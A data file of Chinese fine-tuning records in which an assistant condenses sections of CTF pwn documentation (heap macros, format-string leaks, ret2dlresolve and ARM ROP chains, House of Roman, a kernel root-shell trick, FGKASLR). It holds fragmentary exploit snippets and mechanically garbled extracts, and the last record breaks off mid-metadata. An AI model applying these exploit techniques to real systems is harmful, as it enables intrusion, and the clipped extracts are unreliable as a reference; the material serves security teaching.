{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40bcf5a8560830f537af", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「chunk相关宏」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > chunk相关宏\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“chunk相关宏”展开。\n- (p)) + chunksize(p)))->mchunk_size &= ~(PREV_INUSE) ```\n- ```c++ / Set size at head, without disturbing its use bit / // SIZE_BITS = 7 #define set_head_size(p, s) \\ ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))\n- / Set size/use field / #define set_head(p, s) ((p)->mchunk_size = (s))\n- / Set size at footer (only when chunk is not in use) / #define set_foot(p, s) \\ (((mchunkptr)((char *) (p) + (s)))->mchunk_prev_size = (s)) ```\n- ``c++ / Treat space at ptr + offset as a chunk / #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s))) ``\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `**设置chunk的size字段**`\n- plain: 1 行，首行 `**获取指定偏移的chunk**`\n- plain: 1 行，首行 `**指定偏移处chunk使用状态相关操作**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1014, "chunk_count": 2, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "chunk相关宏", "heading_path": ["define INTERNAL_SIZE_T size_t", "chunk相关宏"], "original_id": "docs-4d8306e94fbb3f68ee2a", "original_line": 953, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "bcf2a5f9204aa9671bfdf7a1", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40bcf99938550cd70768", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get system addr & binsh_addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > get system addr & binsh_addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“get system addr & binsh_addr”展开。\n- payload = '%31$paaaa' createcontact('1111', '1111', '111', payload) printcontact() libc_start_main_ret = int(sh.recvuntil('aaaa', drop=True), 16) log.success('get libc_start_main_ret addr: ' + hex(libc_start_main_ret)) libc = LibcSearcher('__libc_start_main...\n\n关键术语：\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 567, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "get system addr & binsh_addr", "heading_path": ["例子", "get system addr & binsh_addr"], "original_id": "docs-b1385646c5e60ad7fa3e", "original_line": 876, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "fa3bc0903afc277cc4edde82", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40e712b577eee4a2d668", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stack privot to bss segment, set esp = base_stage」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：stack privot to bss segment, set esp = base_stage\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stack privot to bss segment, set esp = base_stage”展开。\n- stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size + (0x080487C2-0x080487A8)/20x10 rop.raw('a' offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain())\n- rop = ROP('./main_partial_relro_32') sh = \"/bin/sh\"\n- plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 538, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "stack privot to bss segment, set esp = base_stage", "heading_path": ["stack privot to bss segment, set esp = base_stage"], "original_id": "docs-027e0ea3926244d8e46b", "original_line": 1324, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "17d84a2cfefe5d827397db09", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40fee010fb8070c4da0d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md` 中的章节「malloc_hook 上方」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md`\n标题：House of Roman\n章节：malloc_hook 上方\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“malloc_hook 上方”展开。\n- malloc_hook_nearly = \"\\xed\\x1a\" edit(1,malloc_hook_nearly) info(\"部分写，修改 fastbin->fd ---> malloc_hook\") `` 然后分配 3 个 0x70 的 chunk ，就可以拿到 malloc_hook 所在的那个 chunk .\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `然后分配 `3` 个 `0x70` 的 `chunk` ，就可以拿到 `malloc_hook` 所在的那个 `chunk` .`\n- plain: 1 行，首行 `然后 `free` 掉 `E` ，进入 `fastbin` ，利用 `uaf` 设置 `E->fd = 0` ， 修复了 `fastbin``\n- plain: 1 行，首行 `然后是 unsorted bin 攻击，使得 malloc_hook 的值为 main_arena+88`\n- plain: 1 行，首行 `利用 修改 `malloc_hook` 的低三个字节 ，使得 `malloc_hook` 为 `one_gadget` 的地址`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 913, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "malloc_hook 上方", "heading_path": ["malloc_hook 上方"], "original_id": "docs-740360de556a156607d0", "original_line": 1001, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md", "source_root": "docs", "source_sha256": "60908879ccf90e7dd3165efe2aebdb2dfd8e6fcda3dc64a7a3620104a116aded", "split": "train", "split_group_key": "72ce7b99cb9432d6de47af25", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House of Roman"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-41c0f5a9bf88419e67d4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「make a fake write symbol at base_stage + 32 + align」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：make a fake write symbol at base_stage + 32 + align\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“make a fake write symbol at base_stage + 32 + align”展开。\n- fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) # since the size of Elf32_Symbol is 0x10 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write fake_write_s...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 287, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "make a fake write symbol at base_stage + 32 + align", "heading_path": ["make a fake write symbol at base_stage + 32 + align"], "original_id": "docs-463bcc779f56d83afadb", "original_line": 1320, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "00aeaedc856fd6fae39f181d", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-436865fa59b3c2ab2560", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：for i in range(100, 150)[::-1]: > 2018 上海市大学生网络安全大赛 - baby_arm > 思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 理一下思路，可以直接 rop，但我们不知道远程的 libc 版本，同时也发现程序中有调用 mprotect 的代码段 ``assembly .text:00000000004007C8 STP X29, X30, [SP,#-0x10]!\n- CODE XREF: sub_400868+3C↑j .text:00000000004008CC LDP X19, X20, [SP,#var_s10] .text:00000000004008D0 LDP X21, X22, [SP,#var_s20] .text:00000000004008D4 LDP X23, X24, [SP,#var_s30] .text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 .text:00000000004008DC...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:assembly\n\n代码/命令片段线索：\n- assembly: 10 行，首行 `.text:00000000004007C8 STP X29, X30, [SP,#-0x10]!`\n- assembly: 15 行，首行 `.text:00000000004008AC LDR X3, [X21,X19,LSL#3]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1566, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "思路", "heading_path": ["for i in range(100, 150)[::-1]:", "2018 上海市大学生网络安全大赛 - baby_arm", "思路"], "original_id": "docs-5c70d8b1456734506bb1", "original_line": 1236, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "0c3f1c942ecb29539947361e", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:assembly"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-43780eacf5de3247e344", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md` 中的章节「例题：D^3CTF 2025 - d3kshrm」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md`\n标题：利用内存溢出触发 OOM Killer 提供 root shell\n章节：tty4::askfirst:/bin/sh > 例题：D^3CTF 2025 - d3kshrm\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“例题：D^3CTF 2025 - d3kshrm”展开。\n- if (socket_fd < 0) { log_error(\"[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\");\n- if (ret < 0) { log_error(\"[x] failed at setsockopt(PACKET_VERSION)\");\n- if (ret < 0) { log_error(\"[x] failed at setsockopt(PACKET_TX_RING)\");\n- / create an isolate namespace/ if (unshare_setup()) { err_exit(\"FAILED to initialize PGV subsystem for page spraying!\n- if (ret < 0) { perror(ERROR_MSG(\"[x] Failed at allocating packet socket\"));\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:shell\n\n代码/命令片段线索：\n- shell: 7 行，首行 `$ cat /etc/inittab`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5060, "chunk_count": 2, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "例题：D^3CTF 2025 - d3kshrm", "heading_path": ["tty4::askfirst:/bin/sh", "例题：D^3CTF 2025 - d3kshrm"], "original_id": "docs-8933d49a2d8eabf871d8", "original_line": 45, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md", "source_root": "docs", "source_sha256": "10560a87f70732d7331fa0c3e8c736a4f44e33632f40fef391a858737062a392", "split": "train", "split_group_key": "3f590cb8accb1b7a6b634f77", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:shell"], "title": "利用内存溢出触发 OOM Killer 提供 root shell"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-43d1033ae9c9d81cd902", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md`\n标题：堆溢出\n章节：堆溢出 > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数（之所以是可使用而不是用户申请的字节数，是因为堆管理器会对用户所申请的字节数进行调整，这也导致可利用的字节数都不小于用户申请的字节数），因而导致了数据溢出，并覆盖到物理相邻的高地址的下一个堆块。\n- 对于攻击者来说，堆溢出漏洞轻则可以使得程序崩溃，重则可以使得攻击者控制程序执行流程。\n- 但是其与栈溢出所不同的是，堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据，因此我们一般无法直接通过堆溢出来控制 EIP 。\n- 一般来说，我们利用堆溢出的策略是 1. 覆盖与其物理相邻的下一个 chunk 的内容。\n- 2. 利用堆中的机制（如 unlink 等 ）来实现任意地址写入（ Write-Anything-Anywhere）或控制堆块中的内容等效果，从而来控制程序的执行流。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 608, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["堆溢出", "介绍"], "original_id": "docs-d7c101564ed2c9d993f1", "original_line": 51, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "source_root": "docs", "source_sha256": "27694f5f914660cc1e7899bfadda0c623bf5ec59d6a725b6533ecb08a2017e41", "split": "train", "split_group_key": "6a151a29b95fffe02cd6c760", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-43f991181c7398c57dc2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「virtio 配置操作抽象」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > 软件半虚拟化 - virtio > virtio 配置操作抽象\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“virtio 配置操作抽象”展开。\n- 结合 virtqueue，我们现在可以抽象出一个虚拟 PCI 设备的基本操作： - 获取 feature bits - 读写配置空间 - 读写 status bits - 设备重置 - 创建/销毁 virtqueue 我们将其抽象成一张函数表：virtio_config_ops。\n- ``c struct virtio_config_ops { bool (feature)(struct virtio_device vdev, unsigned bit);\n- void (get)(struct virtio_device vdev, unsigned offset, void buf, unsigned len);\n- void (set)(struct virtio_device vdev, unsigned offset, const void buf, unsigned len);\n- u8 (get_status)(struct virtio_device vdev);\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n- code:c\n\n代码/命令片段线索：\n- c: 15 行，首行 `struct virtio_config_ops`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 902, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "virtio 配置操作抽象", "heading_path": ["IO 虚拟化", "软件半虚拟化 - virtio", "virtio 配置操作抽象"], "original_id": "docs-d7ffe181d83518e57f34", "original_line": 77, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "0fb143ce3181e64f872866dc", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "io-virtualization.md", "code:c"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4486ed442d7d45032692", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md` 中的章节「格式化字符串漏洞原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md`\n标题：原理介绍\n章节：原理介绍 > 格式化字符串漏洞原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“格式化字符串漏洞原理”展开。\n- 文件: ./figure/printf.png] 对于这样的例子，在进入printf函数的之前(即还没有调用printf)，栈上的布局由高地址到低地址依次如下 ``text some value 3.14 123456 addr of \"red\" addr of format string: Color %s...\n- 程序照样会运行，会将栈上存储格式化字符串地址上面的三个变量分别解析为 1. 解析其地址对应的字符串 2. 解析其内容对应的整形值 3. 解析其内容对应的浮点值 对于2，3来说倒还无妨，但是对于对于1来说，如果提供了一个不可访问地址，比如0，那么程序就会因此而崩溃。\n- `` 此时我们可以发现我们并没有提供参数，那么程序会如何运行呢？\n- 当前字符是%， 继续读取下一个字符 - 如果没有字符，报错 - 如果下一个字符是%,输出% - 否则根据相应的字符，获取相应的参数，对其进行解析并输出 那么假设，此时我们在编写程序时候，写成了下面的样子 `C printf(\"Color %s, Number %d, Float %4.2f\");\n- ` 注：这里我们假设3.14上面的值为某个未知的值。\n\n关键术语：\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n- code:c\n\n代码/命令片段线索：\n- text: 5 行，首行 `some value`\n- C: 1 行，首行 `printf(\"Color %s, Number %d, Float %4.2f\");`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 766, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "格式化字符串漏洞原理", "heading_path": ["原理介绍", "格式化字符串漏洞原理"], "original_id": "docs-126d4f09f1c49c690ab0", "original_line": 900, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-intro.md", "source_root": "docs", "source_sha256": "8516996b24e38500e18a7d976758f906dafa9808d78bd95a8b5220f77d0d21b8", "split": "train", "split_group_key": "ba8dd21014ca15331e31cf9d", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:text", "code:c"], "title": "原理介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4499b25ec789716289d9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md` 中的章节「加载阶段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md`\n标题：FGKASLR\n章节：FGKASLR > 实现 > 加载阶段\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“加载阶段”展开。\n- symtab) error(\"Failed to allocate space for symtab\");\n- strtab) error(\"Failed to allocate space for strtab\");\n- 在解压内核后，会首先检查保留的符号信息，然后寻找需要随机化的 .text. 节区。\n- 通过分析代码，我们可以知道，在 layout_randomized_image 函数中计算了最终会随机化的节区，存储在 sections 里。\n- ` 可以看到，只有同时满足以下条件的节区才会参与随机化 - 节区名以 .text 开头 - section flags 中包含SHF_ALLOC - section flags 中包含SHF_EXECINSTR 因此，通过以下命令，我们可以知道 - __ksymtab 不会参与随机化 - .data 不会参与随机化 ` > readelf --section-headers -W vmlinux| grep -vE \" .text|AX\" ...\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- defense\n- code:c\n\n代码/命令片段线索：\n- c: 46 行，首行 `/*`\n- plain: 37 行，首行 `> readelf --section-headers -W vmlinux| grep -vE \" .text|AX\"`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4234, "chunk_count": 1, 